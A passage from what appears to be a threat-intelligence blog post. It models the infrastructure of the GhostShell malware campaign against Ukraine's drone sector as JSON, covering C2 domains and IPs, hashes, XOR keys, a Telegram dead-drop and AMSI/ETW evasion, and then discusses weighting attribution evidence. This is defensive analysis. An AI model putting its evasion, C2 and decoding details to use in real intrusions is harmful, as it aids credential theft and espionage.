      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Dedicated server hosting cloudaxis.cc.",
        "IP location Madrid, Spain - Cogent Communications.",
        "ASN AS214036 ULTAHOST-AS Ultahost, Inc., US (registered 2024-10-15)."
      ]
    },
    {
      "id": "loader_122",
      "type": "file",
      "value": "122.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3.",
        "PE32+ x86-64, 6 sections; ~190 KB XOR overlay (magic 'CRPT') starting at offset 0x19C64.",
        "Overlay XOR key d0cd4cb8d4673e28 (most frequent 8-byte block under fixed-key XOR).",
        "Acts as a loader: XOR-unpacks the CRPT overlay and runs the Stage-2 PE in memory (VirtualAlloc / VirtualProtect / LoadLibrary / GetProcAddress)."
      ]
    },
    {
      "id": "stage2_implant",
      "type": "file",
      "value": "GhostShell Stage-2 implant (in-memory PE carved from 122.exe CRPT overlay)",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Stage-2 PE32+ x86-64, ~190.5 KB, carved as stage2.bin (MD5 df587c58c82d7cfb41d966d2fe21cecb).",
        "Embedded config stored as an encrypted blob in .rdata at VA 0x140020880; in-place decrypt routine key = (i*7 - 0x58) & 0xFF over len 870, with AVX2 fast-path and scalar fallback.",
        "Decrypted config is a DER/PKCS#12 (.pfx) container holding the mutual-TLS client certificate and private key.",
        "Capabilities: HTTPS C2 via WinHTTP; host-fingerprint beacon implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu; GDI+ screenshot; CreateProcess command execution; Run-key persistence; file I/O; anti-analysis (IsDebuggerPresent / CheckRemoteDebuggerPresent + QueryPerformanceCounter timing)."
      ]
    },
    {
      "id": "implant_cert",
      "type": "certificate",
      "value": "CA:53:3B:51:F3:22:5F:D2:4A:64:C6:34:EE:31:4F:06:01:E7:E2:FF:2D:5E:F3:64:23:5E:F4:EB:16:56:47:AE",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "EC mutual-TLS client certificate carved from the Stage-2 PKCS#12 config (PW empty, MAC check skipped).",
        "Subject CN=ed6e62814295701f (16 hex chars = 8-byte/64-bit per-implant ID); Issuer CN=GhostShell Implant CA; Serial 11145A2322AA5595D27E25CC977AD1B53CE88DCD (160-bit random).",
        "ECDSA prime256v1 (P-256), ecdsa-with-SHA256; clientAuth EKU (critical); CA:FALSE (critical); no SAN; valid 2026-06-18 to 2027-06-19.",
        "Issuer string 'GhostShell Implant CA' is a self-named private CA, very likely hard-coded in the C2 builder - the strongest cluster pivot of the whole set: any future sample or server presenting this issuer hangs off the same cluster.",
        "P-256 + 160-bit random serial + thin critical-extension template is weakly consistent with Go crypto/x509 defaults (low-confidence toolchain hint)."
      ]
    },
    {
      "id": "cndexpress_c2_url",
      "type": "url",
      "value": "hxxps://cndexpress[.]cc/analytics/collect",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Stage-2 implant POSTs host-fingerprint beacons to /analytics/collect over HTTPS (WinHTTP).",
        "Implant authenticates with the embedded EC mTLS client cert and ignores the server certificate (WinHttpSetOption flags 0x3300).",
        "Sandbox without the client cert receives HTTP/1.1 400 Bad Request from nginx (custom headers X-Client-Version / X-Key-ID / X-Thread-ID present in the beacon).",
        "Defanged from https://cndexpress.cc/analytics/collect for public feed display."
      ]
    },
    {
      "id": "cndexpress_domain",
      "type": "domain",
      "value": "cndexpress.cc",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Stage-2 C2 domain; deliberately on a different registrar than the delivery domain (the actor avoids hosting everything in one place).",
        "Registrar Spaceship, Inc.; created 2026-06-15, expires 2027-06-15 (~7 days old at observation).",
        "Root path serves a minimal, AI-generated 'CDN Express' decoy hosting page; the real endpoint requires the mTLS client cert (400 Bad Request 'No required SSL certificate was sent' otherwise)."
      ]
    },
    {
      "id": "cndexpress_ip",
      "type": "ip",
      "value": "5.252.177.88",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois / sandbox)",
      "evidence": [
        "Dedicated server hosting cndexpress.cc; sandbox POSTs to 5.252.177.88:443 (cndexpress.cc) returned 400 Bad Request.",
        "IP location Missouri, US - MivoCloud.",
        "ASN AS39798 MivoCloud SRL, MD (registered 2015-03-24)."
      ]
    },
    {
      "id": "loader_update",
      "type": "file",
      "value": "update.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 b1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012.",
        "Lightweight x64 in-memory loader / HTTPS stager masquerading as 'Windows Security Health Service' via manipulated version info.",
        "Anti-sandbox: sleep-timing check, available-RAM check, logical-processor-count check.",
        "Child process (re-launched with --exec <host>) patches EtwEventWrite and AmsiScanBuffer, then unhooks ntdll by overwriting the loaded .text section from a clean on-disk copy.",
        "Decrypts an embedded 757-byte x64 shellcode with a 16-byte repeating-key XOR; placeholder 111.111.111.111 is replaced with the Telegram-derived host; behaviour is strongly consistent with a Metasploit x64 reverse_https stager. No persistence, no classic process injection, no PE dropped to disk."
      ]
    },
    {
      "id": "telegram_deaddrop",
      "type": "url",
      "value": "hxxps://t[.]me/flufff6262",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "update.exe fetches this Telegram channel page over HTTPS and extracts a value embedded between [CFG] and [/CFG].",
        "The value is base64-decoded then XOR-decoded with key 'deadbeef1337' to yield the runtime C2 host. Example: [CFG]XFNPUVZLV1MfAQ==[/CFG] -> 86.54.25.2.",
        "Channel 'flufff6262' (1 subscriber, bio 'testing some code for fun') acts as a dead-drop resolver on a legitimate third-party platform.",
        "Defanged from https://t.me/flufff6262 for public feed display."
      ]
    },
    {
      "id": "metasploit_c2_ip",
      "type": "ip",
      "value": "86.54.25.2",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Runtime C2 host decoded from the Telegram dead-drop; the WinINet stager connects to it over HTTPS on TCP/443 and loads the next stage in memory.",
        "IP location Kazakhstan ADSL - Icosys Computers And Communication Limited.",
        "ASN AS210006 ASKZ Shereverov Marat Ahmedovich, KZ (registered 2025-05-14); netname Shereverov-network, country KZ.",
        "Because the address is fetched at runtime from a rotating dead-drop post, the operational host can be changed without rebuilding the implant."
      ]
    },
    {
      "id": "launcher_22",
      "type": "file",
      "value": "22.exe",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "SHA256 8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25.",
        "Discovered by KRAKEN on the same delivery infrastructure; not previously seen elsewhere as malware.",
        "Multi-stage Go x64 launcher: AES-256-GCM-decrypts an embedded config, extracts two gzip components (an Xray-Core client and a native Windows loader) to %TEMP% with randomized filenames.",
        "Native loader patches AmsiScanBuffer, AmsiOpenSession, EtwEventWrite, EtwEventWriteTransfer and NtTraceEvent, then AES-256-CBC-decrypts an embedded PE and manually maps it (relocations + import resolution) before calling its entry point in-process.",
        "On completion it kills started processes, disables the proxy, removes temp files and self-deletes; no persistence observed."
      ]
    },
    {
      "id": "xray_c2",
      "type": "ip",
      "value": "5.181.156.168",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009) (Whois)",
      "evidence": [
        "Xray-Core tunnel endpoint; outbound traffic is tunneled via VLESS + XTLS Vision + REALITY to 5.181.156.168:25475.",
        "Locally the launcher exposes an HTTP proxy on 127.0.0.1:10809 and a SOCKS proxy on 127.0.0.1:10808 and sets the user WinINET proxy plus HTTP_PROXY / HTTPS_PROXY for the loader.",
        "IP location Moldova, Chisinau - MivoCloud; resolve host 5-181-156-168.mivocloud.com.",
        "ASN AS39798 MivoCloud SRL, MD (registered 2015-03-24) - same hoster (MivoCloud / AS39798) as the cndexpress.cc C2 IP."
      ]
    },
    {
      "id": "vidar_payload",
      "type": "file",
      "value": "Vidar v2 (in-memory, manually mapped by the 22.exe native loader)",
      "observed_at": "2026-06-22T00:00:00Z",
      "source": "Synaptic Security Blog: GhostShell (MB-0009)",
      "evidence": [
        "Final payload identified with high confidence as Vidar v2.",
        "Collects browser passwords, cookies, history and autofill, crypto-wallet data, browser-extension data, Telegram/Discord/Steam artifacts, Outlook/FileZilla configs, system info, screenshots and C2-defined files.",
        "Supports server-side loader tasks for executing further programs or scripts; exfiltration rides the Xray VLESS tunnel."
      ]
    }
  ],
  "chain": [
    {
      "entity_id": "rar_archive",
      "role": "entry",
      "techniques": ["IIM-T024"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "decoy_pdf",
      "role": "entry",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Decoy document is target-localization context for the initial delivery, not the execution payload itself."
    },
    {
      "entity_id": "startup_vbs",
      "role": "staging",
      "techniques": ["IIM-T024"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Loader artifact placed in Startup via archive path traversal (CVE-2025-8088); logon persistence is captured separately in attack_annotations (T1547.001)."
    },
    {
      "entity_id": "cloudaxis_url_122",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "cloudaxis_url_update",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "cloudaxis_domain",
      "role": "staging",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "Dedicated-server delivery host (Ultahost / Cogent). Tagged cloud/commercial hosting; ~131 days old so not disposable."
    },
    {
      "entity_id": "cloudaxis_ip",
      "role": "staging",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false
    },
    {
      "entity_id": "loader_122",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "XOR-overlay (CRPT) loader; runs Stage-2 in memory."
    },
    {
      "entity_id": "stage2_implant",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "implant_cert",
      "role": "staging",
      "techniques": ["IIM-T012"],
      "role_confidence": "likely",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Role: IIM has no dedicated credential role; the cert is modeled as a staging/transport artifact because its job is authenticating the implant to C2. The shared self-named issuer (CN=GhostShell Implant CA) across per-implant leaf certs is the IIM-T012 reuse signal and the primary cluster pivot."
    },
    {
      "entity_id": "cndexpress_c2_url",
      "role": "c2",
      "techniques": ["IIM-T021"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "mTLS-gated endpoint: the real response is served only when the custom client presents the embedded client cert (request-fingerprinting gate); otherwise 400 Bad Request."
    },
    {
      "entity_id": "cndexpress_domain",
      "role": "c2",
      "techniques": ["IIM-T002", "IIM-T010"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "~7-day-old domain on a separate registrar (Spaceship) = disposable registration; AI-generated decoy hosting page at root."
    },
    {
      "entity_id": "cndexpress_ip",
      "role": "c2",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false
    },
    {
      "entity_id": "loader_update",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "In-memory HTTPS stager (Metasploit-consistent), classified as loader/stager rather than dropper."
    },
    {
      "entity_id": "telegram_deaddrop",
      "role": "redirector",
      "techniques": ["IIM-T006", "IIM-T013"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Dead-drop resolver on a legitimate third-party site (Telegram). Telegram only encodes the next-hop host here; it is not used as the bidirectional message bus, so IIM-T018 is intentionally not applied."
    },
    {
      "entity_id": "metasploit_c2_ip",
      "role": "c2",
      "techniques": ["IIM-T011"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "Operational host is fetched at runtime via the dead-drop resolver, so it functions as a rotatable C2 node (IIM-T011). KZ ADSL / small AS could also support a bulletproof-style read (IIM-T003) but that is left out pending more nodes."
    },
    {
      "entity_id": "launcher_22",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Go launcher embedding Xray-Core; transport/proxy layer plus in-memory PE loader."
    },
    {
      "entity_id": "xray_c2",
      "role": "c2",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "VLESS + XTLS Vision + REALITY tunnel endpoint on MivoCloud (AS39798), same hoster as cndexpress_ip. No dedicated IIM technique exists for an encrypted proxy transport; tagged cloud hosting and described in evidence."
    },
    {
      "entity_id": "vidar_payload",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Commodity stealer (Vidar v2) delivered via the 22.exe lane; role-confidence likely because identification is by behavior/family rather than a clean published sample hash."
    }
  ],
  "relations": [
    {
      "from": "rar_archive",
      "to": "decoy_pdf",
      "type": "drops",
      "sequence_order": 1,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Extracting the RAR writes the Besomar-themed decoy PDFs alongside the malicious VBS.",
        "All decoys share identical size and creation timestamp 2026:06:06 16:39:42+02:00."
      ]
    },
    {
      "from": "rar_archive",
      "to": "startup_vbs",
      "type": "drops",
      "sequence_order": 2,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Extraction copies the VBS into %APPDATA%\\...\\Startup via relative path traversal, abusing CVE-2025-8088 / CVE-2025-6218.",
        "All dropped VBS copies share SHA256 cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107."
      ]
    },
    {
      "from": "startup_vbs",
      "to": "cloudaxis_url_122",
      "type": "download",
      "sequence_order": 3,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Decoded ExecuteGlobal stub runs curl against the cloudaxis.cc 122.exe URL into %TEMP%."
      ]
    },
    {
      "from": "startup_vbs",
      "to": "cloudaxis_url_update",
      "type": "download",
      "sequence_order": 4,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Decoded ExecuteGlobal stub runs curl against the cloudaxis.cc update.exe URL into %TEMP%."
      ]
    },
    {
      "from": "cloudaxis_url_122",
      "to": "cloudaxis_domain",
      "type": "references",
      "sequence_order": 5,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the 122.exe download URL is served from cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_url_update",
      "to": "cloudaxis_domain",
      "type": "references",
      "sequence_order": 6,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the update.exe download URL is served from cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_domain",
      "to": "cloudaxis_ip",
      "type": "resolves-to",
      "sequence_order": 7,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Whois lists 154.58.204.149 (Madrid / Cogent / AS214036 Ultahost) as the dedicated server for cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_url_122",
      "to": "loader_122",
      "type": "download",
      "sequence_order": 8,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The 122.exe URL serves the PE32+ loader (SHA256 ab5681266f...) to the malware client."
      ]
    },
    {
      "from": "loader_122",
      "to": "stage2_implant",
      "type": "execute",
      "sequence_order": 9,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "122.exe XOR-unpacks the CRPT overlay (key d0cd4cb8d4673e28) and runs the Stage-2 PE in memory (VirtualAlloc / VirtualProtect / LoadLibrary / GetProcAddress)."
      ]
    },
    {
      "from": "stage2_implant",
      "to": "implant_cert",
      "type": "references",
      "sequence_order": 10,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The Stage-2 implant carries the EC mTLS client cert + key in its .rdata PKCS#12 config and presents it for C2 authentication.",
        "Issuer CN=GhostShell Implant CA is the per-cluster PKI anchor."
      ]
    },
    {
      "from": "stage2_implant",
      "to": "cndexpress_c2_url",
      "type": "connect",
      "sequence_order": 11,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Implant POSTs the host-fingerprint beacon to cndexpress.cc/analytics/collect over WinHTTP, authenticating with the client cert and ignoring the server cert (flags 0x3300)."
      ]
    },
    {
      "from": "cndexpress_c2_url",
      "to": "cndexpress_domain",
      "type": "references",
      "sequence_order": 12,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the /analytics/collect endpoint is served from cndexpress.cc."
      ]
    },
    {
      "from": "cndexpress_domain",
      "to": "cndexpress_ip",
      "type": "resolves-to",
      "sequence_order": 13,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Sandbox traffic to cndexpress.cc terminates at 5.252.177.88:443 (Missouri / MivoCloud / AS39798)."
      ]
    },
    {
      "from": "cloudaxis_url_update",
      "to": "loader_update",
      "type": "download",
      "sequence_order": 14,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The update.exe URL serves the in-memory loader / HTTPS stager (SHA256 b18346348...)."
      ]
    },
    {
      "from": "loader_update",
      "to": "telegram_deaddrop",
      "type": "download",
      "sequence_order": 15,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "update.exe fetches t.me/flufff6262 over HTTPS and reads the [CFG]...[/CFG] value from the page body."
      ]
    },
    {
      "from": "telegram_deaddrop",
      "to": "metasploit_c2_ip",
      "type": "references",
      "sequence_order": 16,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The [CFG] blob base64+XOR('deadbeef1337') decodes to the C2 host: [CFG]XFNPUVZLV1MfAQ==[/CFG] -> 86.54.25.2."
      ]
    },
    {
      "from": "loader_update",
      "to": "metasploit_c2_ip",
      "type": "connect",
      "sequence_order": 17,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "After substituting the resolved host into the 757-byte shellcode (placeholder 111.111.111.111), the WinINet stager connects to 86.54.25.2 over HTTPS/443 and pulls the next stage in memory (Metasploit x64 reverse_https-consistent)."
      ]
    },
    {
      "from": "cloudaxis_domain",
      "to": "launcher_22",
      "type": "references",
      "sequence_order": 18,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "tentative",
      "x_evidence": [
        "KRAKEN surfaced 22.exe (SHA256 8de34006d...) as an additional file distributable from the same delivery infrastructure.",
        "The exact cloudaxis.cc URL/path for 22.exe is not published, so this hosting edge is kept tentative pending a confirmed delivery URL."
      ]
    },
    {
      "from": "launcher_22",
      "to": "vidar_payload",
      "type": "execute",
      "sequence_order": 19,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "likely",
      "x_evidence": [
        "The native loader extracted by 22.exe AES-256-CBC-decrypts an embedded PE, manually maps it and calls its entry point in-process; the mapped payload is Vidar v2."
      ]
    },
    {
      "from": "launcher_22",
      "to": "xray_c2",
      "type": "connect",
      "sequence_order": 20,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The embedded Xray-Core client tunnels outbound traffic via VLESS + XTLS Vision + REALITY to 5.181.156.168:25475 and exposes local HTTP/SOCKS proxies on 127.0.0.1:10809 / 127.0.0.1:10808."
      ]
    },
    {
      "from": "vidar_payload",
      "to": "xray_c2",
      "type": "communicates-with",
      "sequence_order": 21,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "likely",
      "x_evidence": [
        "Vidar exfiltration is routed through the local proxy / Xray tunnel; 5.181.156.168 is the observed tunnel endpoint rather than Vidar's terminal C2.",
        "Kept likely because the report establishes the tunnel and the Vidar family but does not expose Vidar's own downstream C2 host."
      ]
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1566.001",
      "name": "Phishing: Spearphishing Attachment",
      "tactic": "Initial Access",
      "comment": "Besomar-themed RAR archive delivered to Ukrainian UAV-sector targets."
    },
    {
      "technique_id": "T1203",
      "name": "Exploitation for Client Execution",
      "tactic": "Execution",
      "comment": "CVE-2025-8088 / CVE-2025-6218 archive handling places the VBS into the Startup folder."
    },
    {
      "technique_id": "T1059.005",
      "name": "Command and Scripting Interpreter: Visual Basic",
      "tactic": "Execution",
      "comment": "Base64 + ExecuteGlobal VBS stub fetches and launches the EXEs."
    },
    {
      "technique_id": "T1547.001",
      "name": "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "comment": "VBS placed in the Windows Startup folder; Stage-2 implant additionally uses CurrentVersion\\Run."
    },
    {
      "technique_id": "T1140",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "comment": "CRPT XOR overlay (d0cd4cb8d4673e28), (i*7-0x58)&0xFF config decrypt, base64+XOR 'deadbeef1337' dead-drop config."
    },
    {
      "technique_id": "T1620",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "comment": "122.exe runs Stage-2 in memory; update.exe runs decrypted shellcode; 22.exe manually maps Vidar in-process."
    },
    {
      "technique_id": "T1562.001",
      "name": "Impair Defenses: Disable or Modify Tools",
      "tactic": "Defense Evasion",
      "comment": "update.exe patches AMSI/ETW and unhooks ntdll; 22.exe loader patches AmsiScanBuffer/AmsiOpenSession/EtwEventWrite/EtwEventWriteTransfer/NtTraceEvent."
    },
    {
      "technique_id": "T1497",
      "name": "Virtualization/Sandbox Evasion",
      "tactic": "Defense Evasion",
      "comment": "update.exe checks sleep timing, available RAM and logical processor count."
    },
    {
      "technique_id": "T1102.001",
      "name": "Web Service: Dead Drop Resolver",
      "tactic": "Command and Control",
      "comment": "update.exe resolves its C2 host from a Telegram channel post (t.me/flufff6262)."
    },
    {
      "technique_id": "T1071.001",
      "name": "Application Layer Protocol: Web Protocols",
      "tactic": "Command and Control",
      "comment": "HTTPS beacons to cndexpress.cc and HTTPS stager traffic to 86.54.25.2."
    },
    {
      "technique_id": "T1573.002",
      "name": "Encrypted Channel: Asymmetric Cryptography",
      "tactic": "Command and Control",
      "comment": "EC mutual-TLS (P-256) client-cert authentication between Stage-2 implant and cndexpress.cc."
    },
    {
      "technique_id": "T1090",
      "name": "Proxy",
      "tactic": "Command and Control",
      "comment": "22.exe routes traffic through an embedded Xray-Core VLESS/XTLS/REALITY tunnel to 5.181.156.168:25475."
    },
    {
      "technique_id": "T1113",
      "name": "Screen Capture",
      "tactic": "Collection",
      "comment": "Stage-2 implant uses GDI+ (GdiplusStartup/GetDC/CreateCompatibleBitmap/BitBlt)."
    },
    {
      "technique_id": "T1555.003",
      "name": "Credentials from Password Stores: Credentials from Web Browsers",
      "tactic": "Credential Access",
      "comment": "Vidar v2 steals browser passwords, cookies, autofill and extension data."
    }
  ],
  "x_actor_name": "GhostShell",
  "x_malwarebox_id": "MB-0009",
  "x_cve": ["CVE-2025-8088", "CVE-2025-6218"],
  "x_victim_context": "Ukraine UAV / drone supply chain - military units, technical personnel, procurement staff, volunteer organisations and defense-sector partners; lures impersonate the Ukrainian fixed-wing drone manufacturer Besomar.",
  "x_source_reports": [
    "Synaptic Security Blog - GhostShell (MB-0009): Targeting Ukraine's UAV Operations and Defense Supply Chain"
  ],
  "x_source_urls": [
    "https://blog.synapticsystems.de/ghostshell-mb-0009-targeting-ukraines-uav-operations-and-defense-supply-chain/"
  ],
  "x_report_published_at": "2026-06-22T00:00:00Z",
  "x_cluster_pivots": [
    "Issuer CN=GhostShell Implant CA on the implant mTLS PKI (very likely hard-coded in the C2 builder; strongest pivot).",
    "Stage-2 config decrypt routine (i*7 - 0x58) & 0xFF with AVX2 + scalar paths.",
    "CRPT XOR overlay key d0cd4cb8d4673e28.",
    "Beacon template implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu (YARA-able).",
    "Infra discipline: registrar/hosting separation (PDR+Cogent/Ultahost vs Spaceship+MivoCloud), per-phase rotation, reused AI-generated decoy hosting pages."
  ],
  "x_solbit_note": "Surface signals (Ukrainian lures, UTC+2 PDF timestamps, 'benefits Russia' cui-bono) all point one way but are the cheapest to plant; the expensive origin-bearing deep signals (custom crypto routine, implant PKI, infra discipline) are currently neutral. No surface/deep divergence indicating a false flag, but also no deep evidence for a sponsor: attribution is held honestly at cluster level (GhostShell / MB-0009), not at sponsor level.",
  "x_publication_safety": "URL entity values are defanged (hxxps, [.]); domain and ip entity values are kept live for tooling/pivoting. Hashes, the cert fingerprint and crypto keys are from the published analyst report.",
  "x_corrective_notes": [
    "Modeled the implant mTLS client certificate as a 'staging' position (auth/transport material) because IIM v1.1 has no credential role; documented in review_notes.",
    "Telegram dead-drop tagged IIM-T013 + IIM-T006 only (not IIM-T018), since Telegram resolves the next-hop host rather than acting as the bidirectional message bus.",
    "22.exe -> cloudaxis hosting edge kept tentative: KRAKEN found 22.exe on the infrastructure but the exact delivery URL/path is not published.",
    "Stage-2 modeled as a descriptive 'file' entity (no clean published SHA-256); MD5 df587c58c82d7cfb41d966d2fe21cecb retained in evidence."
  ]
}

IIM View in KRAKEN

How Do We Use the Extracted Intelligence for Further Analysis?

I recently published another component of the Malwarebox ecosystem: the SOLBIT model.

SOLBIT is a general model for attribution under deception.

CTI is the first domain in which I have implemented it, but the model can, in principle, also be applied to other intelligence disciplines.

In simple terms, SOLBIT divides the available evidence into six domains:

  • Strategic
  • Operational
  • Linguistic
  • Behavioral
  • Infrastructure
  • Technical

That gives us S-O-L-B-I-T.

The interesting part is not merely the list. Each domain receives a weight based on one central question:

How expensive is this signal to fake?

A hash can be changed in seconds.

An artificial timezone can be inserted just as easily.

Infrastructure developed and maintained over several months or a custom cryptographic routine is considerably more expensive to fake.

SOLBIT therefore does not simply add indicators together. It weighs them according to their resistance to manipulation and deliberately checks whether the cheap, easily fabricated surface-level signals and the expensive, deeper signals point in the same direction.

When they do not, that discrepancy becomes a warning sign for a potential false flag.

And this distinction is particularly important in a new case like GhostShell.

SOLBIT separates:

  • The same hand
  • Whose hand

It forces me to be honest about the attribution level we have actually reached:

  • Cluster
  • Persona
  • Real-world sponsor

Instead of seeing a victim, spotting a few convenient artifacts and immediately jumping to a flag.

So, let’s throw the findings from above into the six domains.

Strategic: Intent

The target profile is Ukraines UAV and drone supply chain:

  • Military units
  • Technical personnel
  • Procurement staff
  • Volunteer organizations

This tells us quite a lot about the actors interests, cui bono, but very little about their origin.

That is exactly why SOLBIT assigns this domain relatively little weight when answering the sponsor question.

“They are targeting Ukraine, therefore it must benefit Russia” is precisely the kind of signal that any half-competent false-flag operation could plant just as easily.

Operational: Tradecraft

This is where things start to get more interesting.

The actor deliberately separates registrars and hosting providers:

  • PDR versus Spaceship
  • Cogent in Madrid versus MivoCloud in Missouri

The infrastructure is also rotated between campaign phases. cloudaxis[.]cc dates back to February, while cdnexpress[.]cc was only seven days old at the time of analysis.

At the same time, the actor reuses minimal, AI-generated decoy websites.

These are operational decisions, not random coincidences and decisions are more expensive to fake than a hash.

Linguistic

Evidence in this domain is thin, which is itself worth stating.

The Ukrainian-language decoy PDFs represent target localization, a surface-level signal.

The +02:00 timezone found in the PDF metadata is interesting, but it is also trivial to manipulate.

Free-form text suitable for actual NLI or stylometric analysis?

Nowhere to be found.

Coverage in this domain is therefore low and I am going to call it low instead of inflating a weak signal until it looks more exciting than it really is.

Behavioral

This domain describes how the implant behaves.

The implant:

  • Ignores server-certificate validation errors using flags 0x3300
  • Authenticates using an mTLS client certificate
  • Assigns each implant its own 64-bit identifier
  • Establishes persistence through a Windows Run key
  • Captures screenshots through GDI+

These are behavioral habits that may remain consistent across multiple samples.

Infrastructure: My IIM Stuff

This is the most valuable domain in this case.

We have domains, IP addresses, ASNs, registrars and hosting providers, but most importantly, we have a custom implant PKI using the following issuer:

CN=GhostShell Implant CA

This string is highly likely to be hardcoded into the C2 builder, making it the strongest pivot in the entire artifact set.

Any future sample or server presenting a certificate issued by exactly this CA can be linked back to the same cluster with high confidence.

Technical: IOCs and Code

The technical domain contains the hashes, the XOR overlay key:

d0cd4cb8d4673e28

and, more importantly, the custom decryption routine:

(i * 7 - 0x58) & 0xFF

including both its AVX2 implementation and scalar fallback.

